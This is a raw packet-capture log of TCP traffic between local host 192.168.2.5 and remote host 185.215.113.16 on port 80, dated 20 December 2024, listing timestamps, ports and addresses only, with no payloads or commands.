Dec 20, 2024 16:53:32.726857901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.726902008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.727861881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.727900028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.728005886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.728941917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.729015112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.729717970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.730016947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.730134964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.730380058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.731141090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.731241941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.731254101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.732215881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.732295990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.733000040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.733352900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.733418941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.733572960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.734539986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.734652996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.734821081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.735456944 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.735536098 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.735764980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.736596107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.736682892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.736963987 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.737634897 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.737739086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.738343954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.738730907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.738792896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.739065886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.740165949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.740215063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.740343094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.740973949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.741254091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.741597891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.741942883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.742058992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.742383003 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.743016958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.743189096 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.743197918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.744129896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.744266033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.744746923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.745170116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.745280981 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.745294094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.746267080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.746529102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.746722937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.747345924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.747473955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.747508049 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.748435974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.748645067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.748667955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.749561071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.749819994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.750099897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.750704050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.750838995 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.750839949 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.751669884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.751818895 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.751841068 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.752790928 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.752896070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.752971888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.753905058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.754105091 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.754122972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.754945993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.755156040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.755207062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.756083012 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.756717920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.756915092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.757102966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.757219076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.758068085 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.758250952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.758327961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.758352041 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.759330034 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.759432077 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.759571075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.760396004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.760504961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.760664940 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.761445999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.761516094 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.761610985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.762583017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.762738943 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.763118982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.763644934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.763838053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.763967991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.764723063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.764785051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.765166044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.765816927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.765881062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.766336918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.766910076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.767023087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.767091990 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.767940998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.768057108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.768135071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.769057035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.769114971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.769313097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.770194054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.770297050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.770312071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.771178961 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.771280050 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.771334887 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.772316933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.772376060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.772403955 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.773407936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.773479939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.773494005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.774444103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.774523973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.774898052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.775641918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.775719881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.775793076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.776603937 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.776684999 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.776736975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.777817965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.777901888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.777931929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.778844118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.778898001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.779124975 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.779887915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.780045986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.780086994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.781008005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.781356096 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.781629086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.782166958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.782352924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.782392025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.783183098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.783236980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.783294916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.784245968 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.784301996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.784398079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.785312891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.785362959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.785412073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.786462069 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.786530972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.786799908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.787489891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.787641048 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.787750006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.788602114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.788691998 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.789627075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.789797068 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.789818048 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.789942026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.790837049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.790952921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.790987015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.791814089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.791920900 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.793011904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.793025970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.793183088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.793222904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.794002056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.794101954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.794290066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.795141935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.795164108 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.795340061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.796106100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.796176910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.796241999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.797255993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.797348022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.797375917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.798455000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.798594952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.799340010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.799448013 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.799599886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.799669027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.800493002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.800508022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.800545931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.801565886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.801635027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.801755905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.802664042 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.802715063 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.802776098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.803728104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.803852081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.803883076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.804804087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.804877043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.804939032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.805876970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.806090117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.806920052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.807076931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.807089090 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.807256937 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.808043003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.808147907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.808176994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.809129000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.809242010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.809323072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.810250044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.810324907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.810336113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.811295033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.811357975 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.811417103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.812473059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.812633038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.813030958 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.813477039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.813580990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.813750982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.814541101 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.814742088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.815409899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.815665960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.815680027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.816586971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.816745043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.816848993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.816926956 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.817787886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.817914963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.818538904 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.818869114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.818983078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.819226027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.820019960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.820164919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.820420980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.821062088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.821125984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.821266890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.822211981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.822264910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.822573900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.823226929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.823286057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.823339939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.824316978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.824431896 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.824726105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.825491905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.825509071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.825632095 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.826488972 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.827080011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:32.827333927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:32.874834061 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.325859070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.374968052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.521117926 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.640958071 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.641036987 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.641074896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.641211033 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.641592026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.641659021 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.641886950 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.642245054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.642620087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.642688036 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.642730951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.642775059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.643496037 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.643798113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.644207001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.644347906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.644434929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.644545078 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.645040035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.645184040 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.645505905 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.645781994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.645904064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.646521091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.646641970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.646707058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.646707058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.647232056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.647416115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.648034096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.648150921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.648508072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.648571014 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.648816109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.649080992 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.649213076 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.649593115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.650362015 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.650398970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.650522947 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.650563002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.650635004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.651093960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.651351929 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.651845932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.652040958 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.652653933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.652689934 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.652825117 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.652842045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.653487921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.653597116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.653847933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.654519081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.654654026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:53:33.655378103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.655415058 CET	80	49739	185.215.113.16	192.168.2.5
Dec 20, 2024 16:53:33.655453920 CET	49739	80	192.168.2.5	185.215.113.16
